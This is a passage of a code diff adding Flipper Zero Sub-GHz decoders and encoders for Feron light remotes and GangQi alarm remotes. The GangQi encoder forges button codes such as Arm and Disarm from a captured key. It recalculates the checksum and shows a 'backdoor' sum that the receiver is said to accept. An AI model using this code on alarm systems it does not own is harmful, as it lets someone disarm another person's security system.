SubGhzProtocolDecoderFeron* instance = context;
|
||||
|
||||
// Feron Decoder
|
||||
// 2025.04 - @xMasterX (MMX)
|
||||
|
||||
// Key samples
|
||||
/*
|
||||
0110001100111000 1000010101111010 - ON
|
||||
0110001100111000 1000010001111011 - OFF
|
||||
|
||||
0110001100111000 1000011001111001 - brightness up
|
||||
0110001100111000 1000011101111000 - brightness down
|
||||
|
||||
0110001100111000 1000001001111101 - scroll mode command
|
||||
|
||||
------------------------------------------
|
||||
0110001100111000 0111000010001111 - R
|
||||
0110001100111000 0001101011100101 - B
|
||||
0110001100111000 0100000010111111 - G
|
||||
*/
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case FeronDecoderStepReset:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_feron_const.te_long * 6) <
|
||||
subghz_protocol_feron_const.te_delta * 4)) {
|
||||
//Found GAP
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
instance->decoder.parser_step = FeronDecoderStepSaveDuration;
|
||||
}
|
||||
break;
|
||||
case FeronDecoderStepSaveDuration:
|
||||
if(level) {
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = FeronDecoderStepCheckDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = FeronDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case FeronDecoderStepCheckDuration:
|
||||
if(!level) {
|
||||
// Bit 0 is short and long timing = 350us HIGH (te_last) and 750us LOW
|
||||
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_short) <
|
||||
subghz_protocol_feron_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_feron_const.te_long) <
|
||||
subghz_protocol_feron_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
instance->decoder.parser_step = FeronDecoderStepSaveDuration;
|
||||
// Bit 1 is long and short timing = 750us HIGH (te_last) and 350us LOW
|
||||
} else if(
|
||||
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_long) <
|
||||
subghz_protocol_feron_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_feron_const.te_short) <
|
||||
subghz_protocol_feron_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
instance->decoder.parser_step = FeronDecoderStepSaveDuration;
|
||||
} else if(
|
||||
// End of the key 500Low(we are here)/500High us
|
||||
DURATION_DIFF(
|
||||
duration, (uint16_t)(subghz_protocol_feron_const.te_short + (uint16_t)150)) <
|
||||
subghz_protocol_feron_const.te_delta) {
|
||||
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_short) <
|
||||
subghz_protocol_feron_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
}
|
||||
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_long) <
|
||||
subghz_protocol_feron_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
}
|
||||
// If got 32 bits key reading is finished
|
||||
if(instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_feron_const.min_count_bit_for_found) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
instance->decoder.parser_step = FeronDecoderStepReset;
|
||||
} else {
|
||||
instance->decoder.parser_step = FeronDecoderStepReset;
|
||||
}
|
||||
} else {
|
||||
instance->decoder.parser_step = FeronDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_feron_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderFeron* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_feron_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderFeron* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_feron_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderFeron* instance = context;
|
||||
return subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, subghz_protocol_feron_const.min_count_bit_for_found);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_feron_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderFeron* instance = context;
|
||||
|
||||
subghz_protocol_feron_check_remote_controller(&instance->generic);
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %db\r\n"
|
||||
"Key: 0x%08lX\r\n"
|
||||
"Serial: 0x%04lX\r\n"
|
||||
"Command: 0x%04lX\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
(uint32_t)(instance->generic.data & 0xFFFFFFFF),
|
||||
instance->generic.serial,
|
||||
(uint32_t)(instance->generic.data & 0xFFFF));
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_FERON_NAME "Feron"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderFeron SubGhzProtocolDecoderFeron;
|
||||
typedef struct SubGhzProtocolEncoderFeron SubGhzProtocolEncoderFeron;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_feron_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_feron_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_feron;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderFeron.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderFeron* pointer to a SubGhzProtocolEncoderFeron instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_feron_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderFeron.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderFeron instance
|
||||
*/
|
||||
void subghz_protocol_encoder_feron_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderFeron instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_feron_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderFeron instance
|
||||
*/
|
||||
void subghz_protocol_encoder_feron_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderFeron instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_feron_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderFeron.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderFeron* pointer to a SubGhzProtocolDecoderFeron instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_feron_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderFeron.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
|
||||
*/
|
||||
void subghz_protocol_decoder_feron_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderFeron.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
|
||||
*/
|
||||
void subghz_protocol_decoder_feron_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_feron_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_feron_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderFeron.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_feron_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderFeron.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_feron_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFeron instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_feron_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,490 @@
|
||||
#include "gangqi.h"
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
#include <lib/subghz/blocks/custom_btn_i.h>
|
||||
|
||||
#define TAG "SubGhzProtocolGangQi"
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_gangqi_const = {
|
||||
.te_short = 500,
|
||||
.te_long = 1200,
|
||||
.te_delta = 200,
|
||||
.min_count_bit_for_found = 34,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderGangQi {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderGangQi {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
GangQiDecoderStepReset = 0,
|
||||
GangQiDecoderStepSaveDuration,
|
||||
GangQiDecoderStepCheckDuration,
|
||||
} GangQiDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_gangqi_decoder = {
|
||||
.alloc = subghz_protocol_decoder_gangqi_alloc,
|
||||
.free = subghz_protocol_decoder_gangqi_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_gangqi_feed,
|
||||
.reset = subghz_protocol_decoder_gangqi_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_gangqi_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_gangqi_serialize,
|
||||
.deserialize = subghz_protocol_decoder_gangqi_deserialize,
|
||||
.get_string = subghz_protocol_decoder_gangqi_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_gangqi_encoder = {
|
||||
.alloc = subghz_protocol_encoder_gangqi_alloc,
|
||||
.free = subghz_protocol_encoder_gangqi_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_gangqi_deserialize,
|
||||
.stop = subghz_protocol_encoder_gangqi_stop,
|
||||
.yield = subghz_protocol_encoder_gangqi_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_gangqi = {
|
||||
.name = SUBGHZ_PROTOCOL_GANGQI_NAME,
|
||||
.type = SubGhzProtocolTypeStatic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
|
||||
SubGhzProtocolFlag_Alarms,
|
||||
|
||||
.decoder = &subghz_protocol_gangqi_decoder,
|
||||
.encoder = &subghz_protocol_gangqi_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_gangqi_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderGangQi* instance = malloc(sizeof(SubGhzProtocolEncoderGangQi));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_gangqi;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 256;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_gangqi_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderGangQi* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
// Get custom button code
|
||||
static uint8_t subghz_protocol_gangqi_get_btn_code(void) {
|
||||
uint8_t custom_btn_id = subghz_custom_btn_get();
|
||||
uint8_t original_btn_code = subghz_custom_btn_get_original();
|
||||
uint8_t btn = original_btn_code;
|
||||
|
||||
// Set custom button
|
||||
if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
|
||||
// Restore original button code
|
||||
btn = original_btn_code;
|
||||
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
|
||||
switch(original_btn_code) {
|
||||
case 0xD:
|
||||
btn = 0xE;
|
||||
break;
|
||||
case 0xE:
|
||||
btn = 0xD;
|
||||
break;
|
||||
case 0xB:
|
||||
btn = 0xD;
|
||||
break;
|
||||
case 0x7:
|
||||
btn = 0xD;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
|
||||
switch(original_btn_code) {
|
||||
case 0xD:
|
||||
btn = 0xB;
|
||||
break;
|
||||
case 0xE:
|
||||
btn = 0xB;
|
||||
break;
|
||||
case 0xB:
|
||||
btn = 0xE;
|
||||
break;
|
||||
case 0x7:
|
||||
btn = 0xE;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
|
||||
switch(original_btn_code) {
|
||||
case 0xD:
|
||||
btn = 0x7;
|
||||
break;
|
||||
case 0xE:
|
||||
btn = 0x7;
|
||||
break;
|
||||
case 0xB:
|
||||
btn = 0x7;
|
||||
break;
|
||||
case 0x7:
|
||||
btn = 0xB;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return btn;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderGangQi instance
|
||||
*/
|
||||
static void subghz_protocol_encoder_gangqi_get_upload(SubGhzProtocolEncoderGangQi* instance) {
|
||||
furi_assert(instance);
|
||||
|
||||
// Generate new key using custom or default button
|
||||
instance->generic.btn = subghz_protocol_gangqi_get_btn_code();
|
||||
|
||||
// override button if we change it with signal settings button editor
|
||||
if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
|
||||
FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
|
||||
|
||||
uint16_t serial = (uint16_t)((instance->generic.data >> 18) & 0xFFFF);
|
||||
uint8_t const_and_button = (uint8_t)(0xD0 | instance->generic.btn);
|
||||
uint8_t serial_high = (uint8_t)(serial >> 8);
|
||||
uint8_t serial_low = (uint8_t)(serial & 0xFF);
|
||||
uint8_t bytesum = (uint8_t)(0xC8 - serial_high - serial_low - const_and_button);
|
||||
|
||||
instance->generic.data = (instance->generic.data >> 14) << 14 | (instance->generic.btn << 10) |
|
||||
(bytesum << 2);
|
||||
|
||||
size_t index = 0;
|
||||
|
||||
// Send key and GAP between parcels
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
// Send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_gangqi_const.te_long);
|
||||
if(i == 1) {
|
||||
//Send gap if bit was last
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
false,
|
||||
(uint32_t)subghz_protocol_gangqi_const.te_short * 4 +
|
||||
subghz_protocol_gangqi_const.te_delta);
|
||||
} else {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_gangqi_const.te_short);
|
||||
}
|
||||
} else {
|
||||
// Send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_gangqi_const.te_short);
|
||||
if(i == 1) {
|
||||
//Send gap if bit was last
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
false,
|
||||
(uint32_t)subghz_protocol_gangqi_const.te_short * 4 +
|
||||
subghz_protocol_gangqi_const.te_delta);
|
||||
} else {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_gangqi_const.te_long);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
instance->encoder.size_upload = index;
|
||||
return;
|
||||
}
|
||||
|
||||
/**
|
||||
* Analysis of received data and parsing serial number
|
||||
* @param instance Pointer to a SubGhzBlockGeneric* instance
|
||||
*/
|
||||
static void subghz_protocol_gangqi_remote_controller(SubGhzBlockGeneric* instance) {
|
||||
instance->btn = (instance->data >> 10) & 0xF;
|
||||
instance->serial = (instance->data & 0xFFFFF0000) >> 16;
|
||||
|
||||
// Save original button for later use
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(instance->btn);
|
||||
}
|
||||
subghz_custom_btn_set_max(3);
|
||||
|
||||
// GangQi Decoder
|
||||
// 09.2024 - @xMasterX (MMX) (last update - bytesum calculation at 02.2025)
|
||||
// Thanks @Skorpionm for support!
|
||||
// Thanks @Drone1950 and @mishamyte (who spent 2 weeks on this) for making this work properly
|
||||
|
||||
// Example of correct bytesum calculation
|
||||
// 0xC8 - serial_high - serial_low - constant_and_button
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderGangQi* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_gangqi_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
subghz_protocol_gangqi_remote_controller(&instance->generic);
|
||||
subghz_protocol_encoder_gangqi_get_upload(instance);
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
break;
|
||||
}
|
||||
uint8_t key_data[sizeof(uint64_t)] = {0};
|
||||
for(size_t i = 0; i < sizeof(uint64_t); i++) {
|
||||
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
|
||||
}
|
||||
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
|
||||
FURI_LOG_E(TAG, "Unable to add Key");
|
||||
break;
|
||||
}
|
||||
|
||||
instance->encoder.is_running = true;
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_gangqi_stop(void* context) {
|
||||
SubGhzProtocolEncoderGangQi* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_gangqi_yield(void* context) {
|
||||
SubGhzProtocolEncoderGangQi* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_gangqi_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderGangQi* instance = malloc(sizeof(SubGhzProtocolDecoderGangQi));
|
||||
instance->base.protocol = &subghz_protocol_gangqi;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_gangqi_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGangQi* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_gangqi_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGangQi* instance = context;
|
||||
instance->decoder.parser_step = GangQiDecoderStepReset;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_gangqi_feed(void* context, bool level, volatile uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGangQi* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case GangQiDecoderStepReset:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_long * 2) <
|
||||
subghz_protocol_gangqi_const.te_delta * 3)) {
|
||||
//Found GAP
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
instance->decoder.parser_step = GangQiDecoderStepSaveDuration;
|
||||
}
|
||||
break;
|
||||
case GangQiDecoderStepSaveDuration:
|
||||
if(level) {
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = GangQiDecoderStepCheckDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = GangQiDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case GangQiDecoderStepCheckDuration:
|
||||
if(!level) {
|
||||
// Bit 0 is short and long timing
|
||||
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gangqi_const.te_short) <
|
||||
subghz_protocol_gangqi_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_long) <
|
||||
subghz_protocol_gangqi_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
instance->decoder.parser_step = GangQiDecoderStepSaveDuration;
|
||||
// Bit 1 is long and short timing
|
||||
} else if(
|
||||
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gangqi_const.te_long) <
|
||||
subghz_protocol_gangqi_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_short) <
|
||||
subghz_protocol_gangqi_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
instance->decoder.parser_step = GangQiDecoderStepSaveDuration;
|
||||
} else if(
|
||||
// End of the key
|
||||
(DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_long * 2) <
|
||||
subghz_protocol_gangqi_const.te_delta * 3)) {
|
||||
//Found next GAP and add bit 0 or 1 (only bit 0 was found on the remotes)
|
||||
if((DURATION_DIFF(
|
||||
instance->decoder.te_last, subghz_protocol_gangqi_const.te_short) <
|
||||
subghz_protocol_gangqi_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
}
|
||||
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gangqi_const.te_long) <
|
||||
subghz_protocol_gangqi_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
}
|
||||
// If got 34 bits key reading is finished
|
||||
if(instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_gangqi_const.min_count_bit_for_found) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
instance->decoder.parser_step = GangQiDecoderStepReset;
|
||||
} else {
|
||||
instance->decoder.parser_step = GangQiDecoderStepReset;
|
||||
}
|
||||
} else {
|
||||
instance->decoder.parser_step = GangQiDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get button name.
|
||||
* @param btn Button number, 4 bit
|
||||
*/
|
||||
static const char* subghz_protocol_gangqi_get_button_name(uint8_t btn) {
|
||||
const char* name_btn[16] = {
|
||||
"Unknown",
|
||||
"Exit settings",
|
||||
"Volume setting",
|
||||
"0x3",
|
||||
"Vibro sens. setting",
|
||||
"Settings mode",
|
||||
"Ringtone setting",
|
||||
"Ring", // D
|
||||
"0x8",
|
||||
"0x9",
|
||||
"0xA",
|
||||
"Alarm", // C
|
||||
"0xC",
|
||||
"Arm", // A
|
||||
"Disarm", // B
|
||||
"0xF"};
|
||||
return btn <= 0xf ? name_btn[btn] : name_btn[0];
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_gangqi_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGangQi* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_gangqi_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGangQi* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGangQi* instance = context;
|
||||
return subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, subghz_protocol_gangqi_const.min_count_bit_for_found);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_gangqi_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGangQi* instance = context;
|
||||
|
||||
// Parse serial
|
||||
subghz_protocol_gangqi_remote_controller(&instance->generic);
|
||||
|
||||
// Get byte sum
|
||||
uint16_t serial = (uint16_t)((instance->generic.data >> 18) & 0xFFFF);
|
||||
uint8_t const_and_button = (uint8_t)(0xD0 | instance->generic.btn);
|
||||
uint8_t serial_high = (uint8_t)(serial >> 8);
|
||||
uint8_t serial_low = (uint8_t)(serial & 0xFF);
|
||||
// Type 1 is what original remotes use, type 2 is "backdoor" sum that receiver accepts too
|
||||
uint8_t sum_type1 = (uint8_t)(0xC8 - serial_high - serial_low - const_and_button);
|
||||
uint8_t sum_type2 = (uint8_t)(0x02 + serial_high + serial_low + const_and_button);
|
||||
|
||||
// push protocol data to global variable
|
||||
subghz_block_generic_global.btn_is_available = true;
|
||||
subghz_block_generic_global.current_btn = instance->generic.btn;
|
||||
subghz_block_generic_global.btn_length_bit = 4;
|
||||
//
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %db\r\n"
|
||||
"Key: 0x%X%08lX\r\n"
|
||||
"Serial: 0x%05lX\r\n"
|
||||
"Sum: 0x%02X Sum2: 0x%02X\r\n"
|
||||
"Btn: 0x%01X - %s\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
(uint8_t)(instance->generic.data >> 32),
|
||||
(uint32_t)(instance->generic.data & 0xFFFFFFFF),
|
||||
instance->generic.serial,
|
||||
sum_type1,
|
||||
sum_type2,
|
||||
instance->generic.btn,
|
||||
subghz_protocol_gangqi_get_button_name(instance->generic.btn));
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_GANGQI_NAME "GangQi"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderGangQi SubGhzProtocolDecoderGangQi;
|
||||
typedef struct SubGhzProtocolEncoderGangQi SubGhzProtocolEncoderGangQi;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_gangqi_decoder;
|
||||
